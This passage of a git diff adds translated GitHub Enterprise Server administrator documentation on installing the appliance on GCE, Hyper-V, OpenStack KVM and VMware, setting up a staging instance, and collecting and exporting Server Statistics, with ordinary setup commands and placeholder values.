Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)." + +In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses. + +## Creating the {% data variables.product.prodname_ghe_server %} instance + +To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)." + +1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see "[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" in the Google documentation. + ```shell + $ gcloud compute disks create DATA-DISK-NAME --size DATA-DISK-SIZE --type DATA-DISK-TYPE --zone ZONE + ``` + +2. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see "[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" in the Google documentation. + ```shell + $ gcloud compute instances create INSTANCE-NAME \ + --machine-type n1-standard-8 \ + --image GITHUB-ENTERPRISE-IMAGE-NAME \ + --disk name=DATA-DISK-NAME \ + --metadata serial-port-enable=1 \ + --zone ZONE \ + --network NETWORK-NAME \ + --image-project github-enterprise-public + ``` + +## Configuring the instance + +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} +{% data reusables.enterprise_installation.upload-a-license-file %} +{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." +{% data reusables.enterprise_installation.instance-will-restart-automatically %} +{% data reusables.enterprise_installation.visit-your-instance %} + +## Further reading + +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md new file mode 100644 index 000000000000..d1e063c828df --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md @@ -0,0 +1,72 @@ +--- +title: Installing GitHub Enterprise Server on Hyper-V +intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2019.' +redirect_from: + - /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v + - /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v + - /admin/installation/installing-github-enterprise-server-on-hyper-v +versions: + ghes: '*' +type: tutorial +topics: + - Administrator + - Enterprise + - Infrastructure + - Set up +shortTitle: Install on Hyper-V +--- +## Prerequisites + +- {% data reusables.enterprise_installation.software-license %} +- You must have Windows Server 2008 through Windows Server 2019, which support Hyper-V. +- Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide "[Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)." + +## Hardware considerations + +{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} + +## Downloading the {% data variables.product.prodname_ghe_server %} image + +{% data reusables.enterprise_installation.download-license %} +{% data reusables.enterprise_installation.download-appliance %} +4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **Hyper-V (VHD)**. +5. Click **Download for Hyper-V (VHD)**. + +## Creating the {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.create-ghe-instance %} + +1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see "[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" in the Microsoft documentation. + ```shell + PS C:\> New-VM -Generation 1 -Name VM_NAME -MemoryStartupBytes MEMORY_SIZE -BootDevice VHD -VHDPath PATH_TO_VHD + ``` +{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see "[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" in the Microsoft documentation. + ```shell + PS C:\> New-VHD -Path PATH_TO_DATA_DISK -SizeBytes DISK_SIZE + ``` +3. Attach the data disk to your instance. For more information, see "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" in the Microsoft documentation. + ```shell + PS C:\> Add-VMHardDiskDrive -VMName VM_NAME -Path PATH_TO_DATA_DISK + ``` +4. Start the VM. For more information, see "[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" in the Microsoft documentation. + ```shell + PS C:\> Start-VM -Name VM_NAME + ``` +5. Get the IP address of your VM. For more information, see "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" in the Microsoft documentation. + ```shell + PS C:\> (Get-VMNetworkAdapter -VMName VM_NAME).IpAddresses + ``` +6. Copy the VM's IP address and paste it into a web browser. + +## Configuring the {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} +{% data reusables.enterprise_installation.upload-a-license-file %} +{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." +{% data reusables.enterprise_installation.instance-will-restart-automatically %} +{% data reusables.enterprise_installation.visit-your-instance %} + +## Further reading + +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md new file mode 100644 index 000000000000..338172139206 --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md @@ -0,0 +1,57 @@ +--- +title: Installing GitHub Enterprise Server on OpenStack KVM +intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.' +redirect_from: + - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm + - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm + - /admin/installation/installing-github-enterprise-server-on-openstack-kvm +versions: + ghes: '*' +type: tutorial +topics: + - Administrator + - Enterprise + - Infrastructure + - Set up +shortTitle: Install on OpenStack +--- +## Prerequisites + +- {% data reusables.enterprise_installation.software-license %} +- You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/). + +## Hardware considerations + +{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} + +## Downloading the {% data variables.product.prodname_ghe_server %} image + +{% data reusables.enterprise_installation.download-license %} +{% data reusables.enterprise_installation.download-appliance %} +4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **OpenStack KVM (QCOW2)**. +5. Click **Download for OpenStack KVM (QCOW2)**. + +## Creating the {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.create-ghe-instance %} + +1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide "[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)." +{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide "[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)." +3. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide "[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)." + + {% data reusables.enterprise_installation.necessary_ports %} +4. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see "[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" in the OpenStack documentation. +5. Launch {% data variables.location.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide "[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)." + +## Configuring the {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} +{% data reusables.enterprise_installation.upload-a-license-file %} +{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." +{% data reusables.enterprise_installation.instance-will-restart-automatically %} +{% data reusables.enterprise_installation.visit-your-instance %} + +## Further reading + +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md new file mode 100644 index 000000000000..5c82bae468bb --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md @@ -0,0 +1,58 @@ +--- +title: Installing GitHub Enterprise Server on VMware +intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.' +redirect_from: + - /enterprise/admin/articles/getting-started-with-vmware + - /enterprise/admin/articles/installing-vmware-tools + - /enterprise/admin/articles/vmware-esxi-virtual-machine-maximums + - /enterprise/admin/guides/installation/installing-github-enterprise-on-vmware + - /enterprise/admin/installation/installing-github-enterprise-server-on-vmware + - /admin/installation/installing-github-enterprise-server-on-vmware +versions: + ghes: '*' +type: tutorial +topics: + - Administrator + - Enterprise + - Infrastructure + - Set up +shortTitle: Install on VMware +--- +## Prerequisites + +- {% data reusables.enterprise_installation.software-license %} +- You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.location.product_location %}s. We support versions 5.5 through 6.7 for {% data variables.product.prodname_ghe_server %} 3.4 and earlier. ESX version 7.0 is supported for {% data variables.product.prodname_ghe_server %} 3.5 and later. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html). +- You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide "[Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html)." + +## Hardware considerations + +{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} + +## Downloading the {% data variables.product.prodname_ghe_server %} image + +{% data reusables.enterprise_installation.download-license %} +{% data reusables.enterprise_installation.download-appliance %} +4. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **VMware ESXi/vSphere (OVA)**. +5. Click **Download for VMware ESXi/vSphere (OVA)**. + +## Creating the {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.create-ghe-instance %} + +1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide "[Deploy an OVF or OVA Template](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-17BEDA21-43F6-41F4-8FB2-E01D275FE9B4.html)." + - When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see "[Hardware considerations](#hardware-considerations)." We recommend thick provisioning with lazy zeroing. + - Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM. +{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide "[Add a New Hard Disk to a Virtual Machine](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.vm_admin.doc/GUID-F4917C61-3D24-4DB9-B347-B5722A84368C.html)." + +## Configuring the {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} +{% data reusables.enterprise_installation.upload-a-license-file %} +{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." +{% data reusables.enterprise_installation.instance-will-restart-automatically %} +{% data reusables.enterprise_installation.visit-your-instance %} + +## Further reading + +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md new file mode 100644 index 000000000000..6ae632247764 --- /dev/null +++ b/translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md @@ -0,0 +1,157 @@ +--- +title: Setting up a staging instance +intro: 'You can set up a {% data variables.product.product_name %} instance in a separate, isolated environment, and use the instance to validate and test changes.' +redirect_from: + - /enterprise/admin/installation/setting-up-a-staging-instance + - /admin/installation/setting-up-a-staging-instance +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Upgrades +shortTitle: Set up a staging instance +miniTocMaxHeadingLevel: 3 +--- + +## About staging instances + +{% data variables.product.company_short %} recommends that you set up a separate environment to test backups, updates, or changes to the configuration for {% data variables.location.product_location %}. This environment, which you should isolate from your production systems, is called a staging environment. + +For example, to protect against loss of data, you can regularly validate the backup of your production instance. You can regularly restore the backup of your production data to a separate {% data variables.product.product_name %} instance in a staging environment. On this staging instance, you could also test the upgrade to the latest feature release of {% data variables.product.product_name %}. + +{% tip %} + +**Tip:** You may reuse your existing {% data variables.product.prodname_enterprise %} license file as long as the staging instance is not used in a production capacity. + +{% endtip %} + +## Considerations for a staging environment + +To thoroughly test {% data variables.product.product_name %} and recreate an environment that's as similar to your production environment as possible, consider the external systems that interact with your instance. For example, you may want to test the following in your staging environment. + +- Authentication, especially if you use an external authentication provider like SAML +- Integration with an external ticketing system +- Integration with a continuous integration server +- External scripts or software that use the {% data variables.product.prodname_enterprise_api %} +- External SMTP server for email notifications + +## Setting up a staging instance + +You can set up a staging instance from scratch and configure the instance however you like. For more information, see "[Setting up a {% data variables.product.product_name %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)" and "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)." + +Alternatively, you can create a staging instance that reflects your production configuration by restoring a backup of your production instance to the staging instance. + +1. [Back up your production instance](#1-back-up-your-production-instance). +2. [Set up a staging instance](#2-set-up-a-staging-instance). +3. [Configure {% data variables.product.prodname_actions %}](#3-configure-github-actions). +4. [Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages). +5. [Restore your production backup](#5-restore-your-production-backup). +6. [Review the instance's configuration](#6-review-the-instances-configuration). +7. [Apply the instance's configuration](#7-apply-the-instances-configuration). + +### 1. Back up your production instance + +If you want to test changes on an instance that contains the same data and configuration as your production instance, back up the data and configuration from the production instance using {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." + +{% warning %} + +**Warning**: If you use {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} in production, your backup will include your production configuration for external storage. To avoid potential loss of data by writing to your production storage from your staging instance, you must configure each feature in steps 3 and 4 before you restore your backup. + +{% endwarning %} + +### 2. Set up a staging instance + +Set up a new instance to act as your staging environment. You can use the same guides for provisioning and installing your staging instance as you did for your production instance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance/)." + +If you plan to restore a backup of your production instance, continue to the next step. Alternatively, you can configure the instance manually and skip the following steps. + +### 3. Configure {% data variables.product.prodname_actions %} + +Optionally, if you use {% data variables.product.prodname_actions %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_actions %}, skip to "[4. Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages)." + +{% warning %} + +**Warning**: If you don't configure {% data variables.product.prodname_actions %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance. For more information, see "[Using a staging environment](/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment)." + +{% endwarning %} + +{% data reusables.enterprise_installation.ssh-into-staging-instance %} +1. To configure the staging instance to use an external storage provider for {% data variables.product.prodname_actions %}, enter one of the following commands. +{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %} +{% data reusables.actions.configure-storage-provider %} +1. To prepare to enable {% data variables.product.prodname_actions %} on the staging instance, enter the following command. + + ```shell{:copy} + ghe-config app.actions.enabled true + ``` + +### 4. Configure {% data variables.product.prodname_registry %} + +Optionally, if you use {% data variables.product.prodname_registry %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_registry %}, skip to "[5. Restore your production backup](#5-restore-your-production-backup)." + +{% warning %} + +**Warning**: If you don't configure {% data variables.product.prodname_registry %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance. + +{% endwarning %} + +1. Review the backup you will restore to the staging instance. + - If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.5 or later, the backup includes the configuration for {% data variables.product.prodname_registry %}. Continue to the next step. + - If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.4 or earlier, configure {% data variables.product.prodname_registry %} on the staging instance. For more information, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." +{% data reusables.enterprise_installation.ssh-into-staging-instance %} +1. Configure the external storage connection by entering the following commands, replacing the placeholder values with actual values for your connection. + - Azure Blob Storage: + + ```shell{:copy} + ghe-config secrets.packages.blob-storage-type "azure" + ghe-config secrets.packages.azure-container-name "AZURE CONTAINER NAME" + ghe-config secrets.packages.azure-connection-string "CONNECTION STRING" + ``` + - Amazon S3: + + ```shell{:copy} + ghe-config secrets.packages.blob-storage-type "s3" + ghe-config secrets.packages.service-url "S3 SERVICE URL" + ghe-config secrets.packages.s3-bucket "S3 BUCKET NAME" + ghe-config secrets.packages.aws-access-key "S3 ACCESS KEY ID" + ghe-config secrets.packages.aws-secret-key "S3 ACCESS SECRET" + ``` +1. To prepare to enable {% data variables.product.prodname_registry %} on the staging instance, enter the following command. + + ```shell{:copy} + ghe-config app.packages.enabled true + ``` + +### 5. Restore your production backup + +Use the `ghe-restore` command to restore the rest of the data from the backup. For more information, see "[Restoring a backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)." + +If the staging instance is already configured and you want to overwrite settings, certificate, and license data, add the `-c` option to the command. For more information about the option, see [Using the backup and restore commands](https://github.com/github/backup-utils/blob/master/docs/usage.md#restoring-settings-tls-certificate-and-license) in the {% data variables.product.prodname_enterprise_backup_utilities %} documentation. + +### 6. Review the instance's configuration + +To access the staging instance using the same hostname, update your local hosts file to resolve the staging instance's hostname by IP address by editing the `/etc/hosts` file in macOS or Linux, or the `C:\Windows\system32\drivers\etc` file in Windows. + +{% note %} + +**Note**: Your staging instance must be accessible from the same hostname as your production instance. Changing the hostname for {% data variables.location.product_location %} is not supported. For more information, see "[Configuring a hostname](/admin/configuration/configuring-network-settings/configuring-a-hostname)." + +{% endnote %} + +Then, review the staging instance's configuration in the {% data variables.enterprise.management_console %}. For more information, see "[Accessing the {% data variables.enterprise.management_console %}](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)." + +{% warning %} + +**Warning**: If you configured {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} for the staging instance, to avoid overwriting production data, ensure that the external storage configuration in the {% data variables.enterprise.management_console %} does not match your production instance. + +{% endwarning %} + +### 7. Apply the instance's configuration + +To apply the configuration from the {% data variables.enterprise.management_console %}, click **Save settings**. + +## Further reading + +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md new file mode 100644 index 000000000000..8dca96d496dd --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics.md @@ -0,0 +1,100 @@ +--- +title: About Server Statistics +intro: 'You can use {% data variables.product.prodname_server_statistics %} to analyze your own aggregate data from {% data variables.product.prodname_ghe_server %}, and help us improve {% data variables.product.company_short %} products.' +versions: + feature: server-statistics +permissions: 'Enterprise owners can enable {% data variables.product.prodname_server_statistics %}.' +redirect_from: + - /early-access/github/analyze-how-your-team-works-with-server-statistics/about-server-statistics +topics: + - Enterprise +--- + +## About the benefits of {% data variables.product.prodname_server_statistics %} + +{% data variables.product.prodname_server_statistics %} can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. + +Once enabled, {% data variables.product.prodname_server_statistics %} collects aggregate data on how much certain features are used on your instance over time. Unlike other [Admin Stats API](/rest/reference/enterprise-admin#admin-stats) endpoints, which only return data for the last day, {% data variables.product.prodname_server_statistics %} provides historical data of all {% data variables.product.prodname_server_statistics %} metrics collected since the day you enabled the feature. For more information, see "[Enabling {% data variables.product.prodname_server_statistics %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)." + +When you enable {% data variables.product.prodname_server_statistics %}, you're helping to build a better {% data variables.product.prodname_dotcom %}. The aggregated data you'll provide gives us insights into how {% data variables.product.prodname_dotcom %} adds value to our customers. This information allows {% data variables.product.company_short %} to make better and more informed product decisions, ultimately benefiting you. + +## About data security + +We respect your data. We will never transmit data from {% data variables.location.product_location %} unless you have first given us permission to do so. + +We collect no personal data. We also don't collect any {% data variables.product.company_short %} content, such as code, issues, comments, or pull request content. + +Only owners of the connected enterprise account or organization on {% data variables.product.prodname_ghe_cloud %} can access the data. + +Only certain aggregate metrics are collected on repositories, issues, pull requests, and other features. To see the list of aggregate metrics collected, see "[{% data variables.product.prodname_server_statistics %} data collected](#server-statistics-data-collected)." + +Any updates to the collected metrics will happen in future feature releases of {% data variables.product.prodname_ghe_server %} and will be described in the [{% data variables.product.prodname_ghe_server %} release notes](/admin/release-notes). In addition, we will update this article with all metric updates. + +For a better understanding of how we store and secure {% data variables.product.prodname_server_statistics %} data, see "[GitHub Security](https://github.com/security)." + +### About data retention and deletion + +{% data variables.product.company_short %} collects {% data variables.product.prodname_server_statistics %} data for as long as your {% data variables.product.prodname_ghe_server %} license is active and the {% data variables.product.prodname_server_statistics %} feature is enabled. + +If you would like to delete your data, you may do so by contacting GitHub Support, your {% data variables.product.prodname_dotcom %} account representative, or your Customer Success Manager. Generally, we delete data in the timeframe specified in our privacy statement. For more information, see [{% data variables.product.company_short %}'s privacy statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#data-retention-and-deletion-of-data) in the {% data variables.product.prodname_dotcom_the_website %} documentation. + +### About data portability + +As an organization owner or enterprise owner on {% data variables.product.prodname_ghe_cloud %}, you can access {% data variables.product.prodname_server_statistics %} data by exporting the data in a CSV or JSON file or through the {% data variables.product.prodname_server_statistics %} REST API. For more information, see "[Requesting {% data variables.product.prodname_server_statistics %} using the REST API](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api)" or "[Exporting {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics)." + +## About disabling data collection + +You can disable the {% data variables.product.prodname_server_statistics %} feature at any time. For more information, see "[Enabling {% data variables.product.prodname_server_statistics %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)." + +## {% data variables.product.prodname_server_statistics %} data collected + +After you enable {% data variables.product.prodname_server_statistics %}, metrics are collected through a daily job that runs on {% data variables.location.product_location %}. The aggregate metrics are stored on your organization or enterprise account on {% data variables.product.prodname_ghe_cloud %} and are not stored on {% data variables.location.product_location %}. + +The following aggregate metrics will be collected and transmitted on a daily basis and represent the total counts for the day: + - `active_hooks` + - `admin_users` + - `closed_issues` + - `closed_milestones` + - `collection_date` + - `disabled_orgs` + - `dormancy_threshold` + - `fork_repos` + - `ghes_version` + - `github_connect_features_enabled` + - `inactive_hooks` + - `mergeable_pulls` + - `merged_pulls` + - `open_issues` + - `open_milestones` + - `org_repos` + - `private_gists` + - `public_gists` + - `root_repos` + - `schema_version` + - `server_id` + - `suspended_users` + - `total_commit_comments` + - `total_dormant_users` + - `total_gist_comments` + - `total_gists` + - `total_hooks` + - `total_issues` + - `total_issue_comments` + - `total_milestones` + - `total_repos` + - `total_orgs` + - `total_pages` + - `total_pull_request_comments` + - `total_pulls` + - `total_pushes` + - `total_team_members` + - `total_teams` + - `total_users` + - `total_wikis` + - `unmergeable_pulls` + +## {% data variables.product.prodname_server_statistics %} payload example + +To see an example of the response payload for the {% data variables.product.prodname_server_statistics %} API, see "[Requesting {% data variables.product.prodname_server_statistics %} using the REST API](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api)." + +To see a list of the data collected, see "[{% data variables.product.prodname_server_statistics %} data collected](#server-statistics-data-collected)." diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md new file mode 100644 index 000000000000..7c27d61f40dc --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/exporting-server-statistics.md @@ -0,0 +1,47 @@ +--- +title: Exporting Server Statistics +shortTitle: Export Server Statistics +intro: 'You can use your own tools to analyze your {% data variables.product.prodname_ghe_server %} usage over time by downloading your {% data variables.product.prodname_server_statistics %} metrics in a CSV or JSON file.' +versions: + feature: server-statistics +redirect_from: + - /early-access/github/analyze-how-your-team-works-with-server-statistics/exploring-server-statistics +--- + +You can download up to the last 365 days of {% data variables.product.prodname_server_statistics %} data in a CSV or JSON file. This data, which includes aggregate metrics on repositories, issues, and pull requests, can help you anticipate the needs of your organization, understand how your team works, and show the value you get from {% data variables.product.prodname_ghe_server %}. + +Before you can download this data, you must enable {% data variables.product.prodname_server_statistics %}. For more information, see "[Enabling {% data variables.product.prodname_server_statistics %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise)." + +To preview the metrics available to download, see "[About {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics)." + +To download these metrics, you must be an enterprise owner or organization owner on {% data variables.product.prodname_ghe_cloud %}. + - If {% data variables.location.product_location %} is connected to an enterprise account on {% data variables.product.prodname_ghe_cloud %}, see "[Downloading metrics from your enterprise account](#downloading-metrics-from-your-enterprise-account)." + - If {% data variables.location.product_location %} is connected to an organization on {% data variables.product.prodname_ghe_cloud %}, see "[Downloading metrics from your organization](#downloading-metrics-from-your-organization)." + +To learn more about {% data variables.product.prodname_github_connect %}, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)." + +## Downloading metrics from your enterprise account + +1. In the top-right corner of {% data variables.product.prodname_ghe_cloud %}, click your profile photo, then click **Your enterprises**. + ![Drop down menu with "Your enterprises" option](/assets/images/help/enterprises/enterprise-admin-account-settings.png) + +2. Next to your desired enterprise account, click **Settings**. + ![Settings button next to Enterprise admin account](/assets/images/help/enterprises/enterprise-admin-account-settings-button.png) + +3. On the left, click **GitHub Connect**. + ![GitHub Connect option under enterprise admin account](/assets/images//help/enterprises/enterprise-admin-github-connect.png) + +{% data reusables.server-statistics.csv-download %} + +## Downloading metrics from your organization + +1. In the top-right corner of {% data variables.product.prodname_ghe_cloud %}, click your profile photo, then click **Your organizations**. + ![Drop down menu with "Your organizations" option](/assets/images/help/enterprises/github-enterprise-cloud-organizations.png) + +2. In the list of organizations, next to the organization that's connected to {% data variables.location.product_location %}, click **Settings**. + ![Settings button next to {% data variables.product.prodname_ghe_cloud %} organization](/assets/images/help/enterprises/settings-for-ghec-org.png) + +3. On the left, click **GitHub Connect**. + ![GitHub 